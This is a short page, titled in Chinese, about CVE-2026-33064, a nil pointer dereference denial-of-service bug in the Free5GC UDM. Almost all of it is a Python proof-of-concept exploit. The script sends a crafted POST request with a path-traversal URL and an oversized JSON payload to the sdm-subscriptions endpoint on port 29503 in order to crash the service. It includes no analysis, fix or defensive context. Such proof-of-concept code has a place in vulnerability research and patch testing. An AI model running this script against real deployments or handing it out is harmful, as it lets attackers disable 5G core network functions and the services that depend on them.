CVE-2026-33064 Free5GC 空指针引用致DoS漏洞

import requests import json def exploit_free5gc_udm(target_ip): """ PoC for CVE-2026-33064: Free5GC UDM Nil Pointer Dereference Triggers a panic by sending a crafted POST request to /sdm-subscriptions with path traversal and a large payload. """ # Construct the malicious URL with path traversal # The endpoint might vary based on deployment, standard is often on port 29503 base_url = f"http://{target_ip}:29503" malicious_path = "/nudm-sdm/v2/sdm-subscriptions/../../" target_url = base_url + malicious_path # Create a large JSON payload to trigger the parsing condition large_payload = { "callbackReference": { "notifyURI": "http://dummy.com/callback" }, "monitoredResourceUris": ["A" * 10000], # Large string to stress memory handling "subscriptionId": "test-subscription-123" } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[+] Sending exploit payload to {target_url}") response = requests.post(target_url, data=json.dumps(large_payload), headers=headers, timeout=5) # If the service crashes, we might not get a response or get a connection error print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Text: {response.text}") print("[+] Exploit sent. Check if the UDM service has crashed.") except requests.exceptions.RequestException as e: print(f"[!] Request failed (Service might have crashed): {e}") if __name__ == "__main__": target = "127.0.0.1" # Replace with actual target IP exploit_free5gc_udm(target)